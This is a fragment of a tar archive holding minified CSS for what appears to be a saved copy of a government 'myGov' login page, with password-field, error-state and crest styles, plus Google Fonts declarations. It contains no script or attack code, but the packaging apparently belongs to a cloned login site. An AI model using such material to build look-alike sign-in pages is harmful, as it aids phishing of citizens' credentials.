input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/login_files/css000064400000037222151676702570011520 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) 